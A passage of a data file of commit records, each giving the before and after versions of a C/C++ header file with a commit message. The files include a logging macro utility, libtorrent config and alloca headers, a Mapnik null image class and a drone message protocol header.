}\n}\n#endif\n\n#endif\n<commit_msg>Add macro that expands __PRETTY_FUNCTION__ depending on platform<commit_after>#ifndef UTILS_LOG_HPP\n#define UTILS_LOG_HPP\n\n#include <iostream>\n\n\/\/ Older versions of Visual Studio fail compiling this file.\n#ifdef DISABLE_LOGGING\n# define LOG(...)\n# define LOG_WARN(...)\n# define LOG_ERROR(...)\n# define LOG_DEBUG(...)\n# define LOG_DEBUG_WARN(...)\n# define LOG_DEBUG_ERROR(...)\n# define LOG_RAW(...)\n# define LOG_DEBUG_RAW(...)\n# define NLOGDEBUG\n#else\n\n#ifdef __linux__\n# define LOG_WARNING_PREFIX \"\\033[1;33mWARNING: \\033[0m\"\n# define LOG_ERROR_PREFIX \"\\033[1;31mERROR: \\033[0m\"\n\/\/ # define LOG_DEBUG_PREFIX \"\\033[;35mDEBUG: \\033[0m\"\n#else\n# define LOG_WARNING_PREFIX \"WARNING: \"\n# define LOG_ERROR_PREFIX \"ERROR: \"\n\/\/ # define LOG_DEBUG_PREFIX \"DEBUG: \"\n#endif\n\n#define LOG_NORMAL_PREFIX \"\"\n#define LOG_DEBUG_PREFIX \"DEBUG: \"\n\n#ifdef _WIN32\n# define FUNC_STRING __FUNCSIG__\n#else\n# define FUNC_STRING __PRETTY_FUNCTION__\n#endif\n\n\/\/ Use like this:\n\/\/ int x = 5;\n\/\/ LOG(\"Some log entry\");\n\/\/ LOG(\"some variable: \", x);\n\/\/ LOG_WARN(\"Something is wrong: \", x, \"!\");\n#define LOG(...) logutils::logfunc_init(__VA_ARGS__)\n#define LOG_WARN(...) logutils::logfunc_init<logutils::Warning>(__VA_ARGS__)\n#define LOG_ERROR(...) logutils::logfunc_init<logutils::Error, std::cerr>(__VA_ARGS__)\n\n\/\/ Same as above but without appending a new line character at the end\n#define LOG_RAW(...) logutils::logfunc_init<logutils::Normal, std::cout, false>(__VA_ARGS__)\n\n\/\/ Same as above but will only be displayed when NLOGDEBUG is NOT defined\n#ifndef NLOGDEBUG\n# define LOG_DEBUG(...) logutils::logfunc_init<logutils::Debug>(__VA_ARGS__)\n# define LOG_DEBUG_WARN(...) logutils::logfunc_init<logutils::DebugWarning>(__VA_ARGS__)\n# define LOG_DEBUG_ERROR(...) logutils::logfunc_init<logutils::DebugError, std::cerr>(__VA_ARGS__)\n# define LOG_DEBUG_RAW(...) logutils::logfunc_init<logutils::Debug, std::cout, false>(__VA_ARGS__)\n#else \/\/ No, no, Mr. Debug no here.\n# define LOG_DEBUG(...)\n# define LOG_DEBUG_WARN(...)\n# define LOG_DEBUG_ERROR(...)\n# define LOG_DEBUG_RAW(...)\n#endif\n\n\/\/ Use like this:\n\/\/ int x = 5;\n\/\/ LOG(LOG_DUMP(x));\n#define LOG_DUMP(var) #var, \": \", (var)\n\n\nnamespace logutils\n{\n enum LogLevel\n {\n Normal,\n Warning,\n Error,\n Debug,\n DebugWarning,\n DebugError\n };\n\n template<std::ostream& stream, bool nl>\n void logfunc_join()\n {\n if (nl)\n stream<<\"\\n\";\n else\n stream.flush();\n }\n\n template<std::ostream& stream, bool nl, class T, class... Args>\n void logfunc_join(const T& arg, const Args&... rest)\n {\n stream<<arg;\n logfunc_join<stream, nl>(rest...);\n }\n\n template<LogLevel level = Normal, std::ostream& stream = std::cout, bool nl = true, class... Args>\n void logfunc_init(const Args&... args)\n {\n switch (level)\n {\n case DebugWarning:\n case Warning:\n stream<<LOG_WARNING_PREFIX;\n break;\n\n case DebugError:\n case Error:\n stream<<LOG_ERROR_PREFIX;\n break;\n\n case Normal:\n default:\n stream<<LOG_NORMAL_PREFIX;\n break;\n }\n if (level >= 3)\n stream<<LOG_DEBUG_PREFIX;\n logfunc_join<stream, nl>(args...);\n }\n}\n#endif\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2009, Gostai S.A.S.\n *\n * This software is provided \"as is\" without warranty of any kind,\n * either expressed or implied, including but not limited to the\n * implied warranties of fitness for a particular purpose.\n *\n * See the LICENSE file for more information.\n *\/\n\/**\n ** \\file libport\/select-ref.hh\n ** \\brief Select between a non ref or a ref type.\n *\/\n\n#ifndef LIBPORT_SELECT_REF_HH\n# define LIBPORT_SELECT_REF_HH\n\n# warn use libport\/traits.hh instead.\n\nnamespace libport\n{\n\n \/*---------------.\n | ref addition. |\n `---------------*\/\n\n \/\/\/ Return \\a T&.\n template <typename T>\n struct ref_traits\n {\n typedef T& type;\n };\n\n \/\/ Do not form reference to references\n template <typename T>\n struct ref_traits<T&>\n {\n typedef T& type;\n };\n\n\n \/*--------------.\n | ref removal. |\n `--------------*\/\n\n \/\/\/ Return \\a T without any reference.\n template <typename T>\n struct unref_traits\n {\n typedef T type;\n };\n\n template <typename T>\n struct unref_traits<T&>\n {\n typedef T type;\n };\n\n} \/\/namespace libport\n\n#endif \/\/ !LIBPORT_SELECT_REF_HH\n<commit_msg>fix cpp directive.<commit_after>\/*\n * Copyright (C) 2009, Gostai S.A.S.\n *\n * This software is provided \"as is\" without warranty of any kind,\n * either expressed or implied, including but not limited to the\n * implied warranties of fitness for a particular purpose.\n *\n * See the LICENSE file for more information.\n *\/\n\/**\n ** \\file libport\/select-ref.hh\n ** \\brief Select between a non ref or a ref type.\n *\/\n\n#ifndef LIBPORT_SELECT_REF_HH\n# define LIBPORT_SELECT_REF_HH\n\n# warning \"use libport\/traits.hh instead.\"\n\nnamespace libport\n{\n\n \/*---------------.\n | ref addition. |\n `---------------*\/\n\n \/\/\/ Return \\a T&.\n template <typename T>\n struct ref_traits\n {\n typedef T& type;\n };\n\n \/\/ Do not form reference to references\n template <typename T>\n struct ref_traits<T&>\n {\n typedef T& type;\n };\n\n\n \/*--------------.\n | ref removal. |\n `--------------*\/\n\n \/\/\/ Return \\a T without any reference.\n template <typename T>\n struct unref_traits\n {\n typedef T type;\n };\n\n template <typename T>\n struct unref_traits<T&>\n {\n typedef T type;\n };\n\n} \/\/namespace libport\n\n#endif \/\/ !LIBPORT_SELECT_REF_HH\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_ALLOCA\n\n#include \"libtorrent\/config.hpp\"\n\n#ifdef TORRENT_WINDOWS\n\n#include <malloc.h>\n#define TORRENT_ALLOCA(t, n) static_cast<t*>(_alloca(sizeof(t) * (n)))\n\n#else\n\n#include <alloca.h>\n#define TORRENT_ALLOCA(t, n) static_cast<t*>(alloca(sizeof(t) * (n)))\n\n#endif\n\n#endif\n\n\n<commit_msg>Possibly fixed not found alloca on FreeBSD.<commit_after>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_ALLOCA\n\n#include \"libtorrent\/config.hpp\"\n\n#ifdef TORRENT_WINDOWS\n\n#include <malloc.h>\n#define TORRENT_ALLOCA(t, n) static_cast<t*>(_alloca(sizeof(t) * (n)))\n\n#else\n\n#include <alloca.h>\n#include <stdlib.h>\n#define TORRENT_ALLOCA(t, n) static_cast<t*>(alloca(sizeof(t) * (n)))\n\n#endif\n\n#endif\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2005, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_CONFIG_HPP_INCLUDED\n#define TORRENT_CONFIG_HPP_INCLUDED\n\n#include <boost\/config.hpp>\n#include <boost\/version.hpp>\n#include <stdio.h> \/\/ for snprintf\n\n#ifndef WIN32\n#define __STDC_FORMAT_MACROS\n#include <inttypes.h>\n#endif\n\n#ifndef PRId64\n#ifdef _WIN32\n#define PRId64 \"I64d\"\n#else\n#define PRId64 \"lld\"\n#endif\n#endif\n\n#if defined(__GNUC__) && __GNUC__ >= 4\n\n#define TORRENT_DEPRECATED __attribute__ ((deprecated))\n\n# if defined(TORRENT_BUILDING_SHARED) || defined(TORRENT_LINKING_SHARED)\n# define TORRENT_EXPORT __attribute__ ((visibility(\"default\")))\n# else\n# define TORRENT_EXPORT\n# endif\n\n#elif defined(__GNUC__)\n\n# define TORRENT_EXPORT\n\n#elif defined(BOOST_MSVC)\n\n#pragma warning(disable: 4258)\n#pragma warning(disable: 4251)\n\n# if defined(TORRENT_BUILDING_SHARED)\n# define TORRENT_EXPORT __declspec(dllexport)\n# elif defined(TORRENT_LINKING_SHARED)\n# define TORRENT_EXPORT __declspec(dllimport)\n# else\n# define TORRENT_EXPORT\n# endif\n\n#else\n# define TORRENT_EXPORT\n#endif\n\n#ifndef TORRENT_DEPRECATED\n#define TORRENT_DEPRECATED\n#endif\n\n\/\/ set up defines for target environments\n#if (defined __APPLE__ && __MACH__) || defined __FreeBSD__ || defined __NetBSD__ \\\n\t|| defined __OpenBSD__ || defined __bsdi__ || defined __DragonFly__ \\\n\t|| defined __FreeBSD_kernel__\n#define TORRENT_BSD\n#elif defined __linux__\n#define TORRENT_LINUX\n#elif defined __MINGW32__\n#define TORRENT_MINGW\n#elif defined WIN32\n#define TORRENT_WINDOWS\n#elif defined sun || defined __sun \n#define TORRENT_SOLARIS\n#else\n#warning unkown OS, assuming BSD\n#define TORRENT_BSD\n#endif\n\n#define TORRENT_USE_IPV6 1\n#define TORRENT_USE_MLOCK 1\n#define TORRENT_USE_READV 1\n#define TORRENT_USE_WRITEV 1\n#define TORRENT_USE_IOSTREAM 1\n\n\/\/ should wpath or path be used?\n#if defined UNICODE && !defined BOOST_FILESYSTEM_NARROW_ONLY \\\n\t&& BOOST_VERSION >= 103400 && !defined __APPLE__\n#define TORRENT_USE_WPATH 1\n#else\n#define TORRENT_USE_WPATH 0\n#endif\n\n#ifdef TORRENT_WINDOWS\n#include <stdarg.h>\n\/\/ this is the maximum number of characters in a\n\/\/ path element \/ filename on windows\n#define NAME_MAX 255\ninline int snprintf(char* buf, int len, char const* fmt, ...)\n{\n\tva_list lp;\n\tva_start(lp, fmt);\n\treturn vsnprintf_s(buf, len, _TRUNCATE, fmt, lp);\n}\n#define strtoll _strtoi64\n#else\n#include <limits.h>\n#endif\n\n#if (defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)) && !defined (TORRENT_UPNP_LOGGING)\n#define TORRENT_UPNP_LOGGING\n#endif\n\n#if !TORRENT_USE_WPATH && defined TORRENT_LINUX\n\/\/ libiconv presnce, not implemented yet\n#define TORRENT_USE_LOCALE_FILENAMES 1\n#else\n#define TORRENT_USE_LOCALE_FILENAMES 0\n#endif\n\n#if !defined(TORRENT_READ_HANDLER_MAX_SIZE)\n# define TORRENT_READ_HANDLER_MAX_SIZE 256\n#endif\n\n#if !defined(TORRENT_WRITE_HANDLER_MAX_SIZE)\n# define TORRENT_WRITE_HANDLER_MAX_SIZE 256\n#endif\n\n\/\/ determine what timer implementation we can use\n\n#if defined(__MACH__)\n#define TORRENT_USE_ABSOLUTE_TIME 1\n#elif defined(_WIN32)\n#define TORRENT_USE_QUERY_PERFORMANCE_TIMER 1\n#elif defined(_POSIX_MONOTONIC_CLOCK) && _POSIX_MONOTONIC_CLOCK >= 0\n#define TORRENT_USE_CLOCK_GETTIME 1\n#else\n#define TORRENT_USE_BOOST_DATE_TIME 1\n#endif\n\n#endif \/\/ TORRENT_CONFIG_HPP_INCLUDED\n\n<commit_msg>attempt to make it build on windows<commit_after>\/*\n\nCopyright (c) 2005, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_CONFIG_HPP_INCLUDED\n#define TORRENT_CONFIG_HPP_INCLUDED\n\n#include <boost\/config.hpp>\n#include <boost\/version.hpp>\n#include <stdio.h> \/\/ for snprintf\n#include <stdlib.h> \/\/ for _TRUNCATE (windows)\n#include <stdarg.h>\n\n#ifndef WIN32\n#define __STDC_FORMAT_MACROS\n#include <inttypes.h>\n#endif\n\n#ifndef PRId64\n#ifdef _WIN32\n#define PRId64 \"I64d\"\n#else\n#define PRId64 \"lld\"\n#endif\n#endif\n\n#if defined(__GNUC__) && __GNUC__ >= 4\n\n#define TORRENT_DEPRECATED __attribute__ ((deprecated))\n\n# if defined(TORRENT_BUILDING_SHARED) || defined(TORRENT_LINKING_SHARED)\n# define TORRENT_EXPORT __attribute__ ((visibility(\"default\")))\n# else\n# define TORRENT_EXPORT\n# endif\n\n#elif defined(__GNUC__)\n\n# define TORRENT_EXPORT\n\n#elif defined(BOOST_MSVC)\n\n#pragma warning(disable: 4258)\n#pragma warning(disable: 4251)\n\n# if defined(TORRENT_BUILDING_SHARED)\n# define TORRENT_EXPORT __declspec(dllexport)\n# elif defined(TORRENT_LINKING_SHARED)\n# define TORRENT_EXPORT __declspec(dllimport)\n# else\n# define TORRENT_EXPORT\n# endif\n\n#else\n# define TORRENT_EXPORT\n#endif\n\n#ifndef TORRENT_DEPRECATED\n#define TORRENT_DEPRECATED\n#endif\n\n\/\/ set up defines for target environments\n#if (defined __APPLE__ && __MACH__) || defined __FreeBSD__ || defined __NetBSD__ \\\n\t|| defined __OpenBSD__ || defined __bsdi__ || defined __DragonFly__ \\\n\t|| defined __FreeBSD_kernel__\n#define TORRENT_BSD\n#elif defined __linux__\n#define TORRENT_LINUX\n#elif defined __MINGW32__\n#define TORRENT_MINGW\n#elif defined WIN32\n#define TORRENT_WINDOWS\n#elif defined sun || defined __sun \n#define TORRENT_SOLARIS\n#else\n#warning unkown OS, assuming BSD\n#define TORRENT_BSD\n#endif\n\n#define TORRENT_USE_IPV6 1\n#define TORRENT_USE_MLOCK 1\n#define TORRENT_USE_READV 1\n#define TORRENT_USE_WRITEV 1\n#define TORRENT_USE_IOSTREAM 1\n\n\/\/ should wpath or path be used?\n#if defined UNICODE && !defined BOOST_FILESYSTEM_NARROW_ONLY \\\n\t&& BOOST_VERSION >= 103400 && !defined __APPLE__\n#define TORRENT_USE_WPATH 1\n#else\n#define TORRENT_USE_WPATH 0\n#endif\n\n#ifdef TORRENT_WINDOWS\n#include <stdarg.h>\n\/\/ this is the maximum number of characters in a\n\/\/ path element \/ filename on windows\n#define NAME_MAX 255\ninline int snprintf(char* buf, int len, char const* fmt, ...)\n{\n\tva_list lp;\n\tva_start(lp, fmt);\n\treturn vsnprintf_s(buf, len, _TRUNCATE, fmt, lp);\n}\n#define strtoll _strtoi64\n#else\n#include <limits.h>\n#endif\n\n#if (defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)) && !defined (TORRENT_UPNP_LOGGING)\n#define TORRENT_UPNP_LOGGING\n#endif\n\n#if !TORRENT_USE_WPATH && defined TORRENT_LINUX\n\/\/ libiconv presnce, not implemented yet\n#define TORRENT_USE_LOCALE_FILENAMES 1\n#else\n#define TORRENT_USE_LOCALE_FILENAMES 0\n#endif\n\n#if !defined(TORRENT_READ_HANDLER_MAX_SIZE)\n# define TORRENT_READ_HANDLER_MAX_SIZE 256\n#endif\n\n#if !defined(TORRENT_WRITE_HANDLER_MAX_SIZE)\n# define TORRENT_WRITE_HANDLER_MAX_SIZE 256\n#endif\n\n\/\/ determine what timer implementation we can use\n\n#if defined(__MACH__)\n#define TORRENT_USE_ABSOLUTE_TIME 1\n#elif defined(_WIN32)\n#define TORRENT_USE_QUERY_PERFORMANCE_TIMER 1\n#elif defined(_POSIX_MONOTONIC_CLOCK) && _POSIX_MONOTONIC_CLOCK >= 0\n#define TORRENT_USE_CLOCK_GETTIME 1\n#else\n#define TORRENT_USE_BOOST_DATE_TIME 1\n#endif\n\n#endif \/\/ TORRENT_CONFIG_HPP_INCLUDED\n\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_IMAGE_NULL_HPP\n#define MAPNIK_IMAGE_NULL_HPP\n\n\/\/ mapnik\n#include <mapnik\/config.hpp>\n#include <mapnik\/pixel_types.hpp>\n\n\/\/stl\n#include <stdexcept>\n\nnamespace mapnik\n{\n\ntemplate <>\nclass MAPNIK_DECL image<null_t>\n{\npublic:\n using pixel_type = null_t::type;\n static const image_dtype dtype = null_t::id;\nprivate:\npublic:\n image() {}\n image(int \/*width*\/,\n int \/*height*\/,\n bool \/*initialize*\/ = true,\n bool \/*premultiplied*\/ = false,\n bool \/*painted*\/ = false) {}\n image(image<null_t> const&) {}\n image(image<null_t> &&) noexcept {}\n image<null_t>& operator=(image<null_t>) { return *this; }\n image<null_t>const& operator=(image<null_t> const& rhs) const { return rhs; }\n bool operator==(image<null_t> const&) const { return true; }\n bool operator<(image<null_t> const&) const { return false; }\n\n std::size_t width() const { return 0; }\n std::size_t height() const { return 0; }\n std::size_t size() const { return 0; }\n std::size_t row_size() const { return 0; }\n void set(pixel_type const&) { throw std::runtime_error(\"Can not set values for null image\"); }\n pixel_type& operator() (std::size_t, std::size_t) { throw std::runtime_error(\"Can not get or set values for null image\"); }\n pixel_type const& operator() (std::size_t, std::size_t) const { throw std::runtime_error(\"Can not get or set values for null image\"); }\n unsigned const char* bytes() const { return nullptr; }\n unsigned char* bytes() {return nullptr; }\n double get_offset() const { return 0.0; }\n void set_offset(double) {}\n double get_scaling() const { return 1.0; }\n void set_scaling(double) {}\n bool get_premultiplied() const { return false; }\n void set_premultiplied(bool) {}\n void painted(bool) {}\n bool painted() const { return false; }\n image_dtype get_dtype() const { return dtype; }\n};\n\n} \/\/ end ns mapnik\n\n#endif \/\/ MAPNIK_IMAGE_NULL_HPP\n<commit_msg>remove duplicate operator=<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#ifndef MAPNIK_IMAGE_NULL_HPP\n#define MAPNIK_IMAGE_NULL_HPP\n\n\/\/ mapnik\n#include <mapnik\/config.hpp>\n#include <mapnik\/pixel_types.hpp>\n\n\/\/stl\n#include <stdexcept>\n\nnamespace mapnik\n{\n\ntemplate <>\nclass MAPNIK_DECL image<null_t>\n{\npublic:\n using pixel_type = null_t::type;\n static const image_dtype dtype = null_t::id;\nprivate:\npublic:\n image() {}\n image(int \/*width*\/,\n int \/*height*\/,\n bool \/*initialize*\/ = true,\n bool \/*premultiplied*\/ = false,\n bool \/*painted*\/ = false) {}\n image(image<null_t> const&) {}\n image(image<null_t> &&) noexcept {}\n image<null_t>& operator=(image<null_t>) { return *this; }\n bool operator==(image<null_t> const&) const { return true; }\n bool operator<(image<null_t> const&) const { return false; }\n\n std::size_t width() const { return 0; }\n std::size_t height() const { return 0; }\n std::size_t size() const { return 0; }\n std::size_t row_size() const { return 0; }\n void set(pixel_type const&) { throw std::runtime_error(\"Can not set values for null image\"); }\n pixel_type& operator() (std::size_t, std::size_t) { throw std::runtime_error(\"Can not get or set values for null image\"); }\n pixel_type const& operator() (std::size_t, std::size_t) const { throw std::runtime_error(\"Can not get or set values for null image\"); }\n unsigned const char* bytes() const { return nullptr; }\n unsigned char* bytes() {return nullptr; }\n double get_offset() const { return 0.0; }\n void set_offset(double) {}\n double get_scaling() const { return 1.0; }\n void set_scaling(double) {}\n bool get_premultiplied() const { return false; }\n void set_premultiplied(bool) {}\n void painted(bool) {}\n bool painted() const { return false; }\n image_dtype get_dtype() const { return dtype; }\n};\n\n} \/\/ end ns mapnik\n\n#endif \/\/ MAPNIK_IMAGE_NULL_HPP\n<|endoftext|>"} {"text":"<commit_before>#ifndef PROTOCOL_MESSAGES_HPP_\n#define PROTOCOL_MESSAGES_HPP_\n\n#include <cstdint>\n\nnamespace protocol {\nnamespace message {\n\nstruct heartbeat_message_t {\n enum { ID = 0x00 };\n\n std::uint8_t seq;\n} __attribute__((packed));\n\nstruct log_message_t {\n enum { ID = 0x01 };\n\n uint32_t time;\n char data[100];\n} __attribute__((packed));\n\nstruct attitude_message_t {\n enum { ID = 0x02 };\n\n uint32_t time;\n float dcm[9];\n} __attribute__((packed));\n\nstruct set_arm_state_message_t {\n enum { ID = 0x03 };\n\n bool armed;\n} __attribute__((packed));\n\nstruct set_control_mode_message_t {\n enum { ID = 0x04 };\n\n enum class ControlMode {\n MANUAL,\n OFFBOARD\n };\n\n ControlMode mode;\n} __attribute__((packed));\n\nstruct offboard_attitude_control_message_t {\n enum { ID = 0x05 };\n\n float roll;\n float pitch;\n float yaw;\n float throttle;\n uint16_t buttons; \/\/ Bitfield of buttons\n uint8_t mode;\n} __attribute__((packed));\n\nstruct motor_throttle_message_t {\n enum { ID = 0x06 };\n\n uint32_t time;\n float throttles[4];\n} __attribute__((packed));\n\nstruct sensor_calibration_request_message_t {\n enum { ID = 0x07 };\n} __attribute__((packed));\n\nstruct sensor_calibration_response_message_t {\n enum { ID = 0x08 };\n\n enum class SensorType {\n ACCEL,\n GYRO,\n MAG\n };\n\n SensorType type;\n float offsets[3];\n} __attribute__((packed));\n\nstruct location_message_t {\n enum { ID = 0x09 };\n\n uint32_t time;\n float lat;\n float lon;\n float alt;\n} __attribute__((packed));\n\nstruct imu_message_t {\n enum { ID = 0x0a };\n\n uint32_t time;\n float gyro[3];\n float accel[3];\n} __attribute__((packed));\n\nstruct system_message_t {\n enum { ID = 0x0b };\n\n uint32_t time;\n uint8_t state;\n float motorDC; \/\/ TODO(yoos): Hack for esra test launch\n} __attribute__((packed));\n\ninline std::uint16_t length(int id) {\n \/\/ TODO(kyle): sizeof(empty struct) is 1 in C++...\n switch(id) {\n case heartbeat_message_t::ID:\n return sizeof(heartbeat_message_t);\n case log_message_t::ID:\n return sizeof(log_message_t);\n case attitude_message_t::ID:\n return sizeof(attitude_message_t);\n case set_arm_state_message_t::ID:\n return sizeof(set_arm_state_message_t);\n case set_control_mode_message_t::ID:\n return sizeof(set_control_mode_message_t);\n case offboard_attitude_control_message_t::ID:\n return sizeof(offboard_attitude_control_message_t);\n case motor_throttle_message_t::ID:\n return sizeof(motor_throttle_message_t);\n case sensor_calibration_request_message_t::ID:\n return sizeof(sensor_calibration_request_message_t);\n case sensor_calibration_response_message_t::ID:\n return sizeof(sensor_calibration_response_message_t);\n case location_message_t::ID:\n return sizeof(location_message_t);\n case imu_message_t::ID:\n return sizeof(imu_message_t);\n case system_message_t::ID:\n return sizeof(system_message_t);\n }\n\n return 0; \/\/ TODO(kyle): Return something more meaningful?\n}\n\n}\n}\n\n#endif \/\/ MESSAGES_HPP_\n\n<commit_msg>Add stream messages.<commit_after>#ifndef PROTOCOL_MESSAGES_HPP_\n#define PROTOCOL_MESSAGES_HPP_\n\n#include <cstdint>\n\nnamespace protocol {\nnamespace message {\n\nstruct heartbeat_message_t {\n enum { ID = 0x00 };\n\n std::uint8_t seq;\n} __attribute__((packed));\n\nstruct log_message_t {\n enum { ID = 0x01 };\n\n uint32_t time;\n char 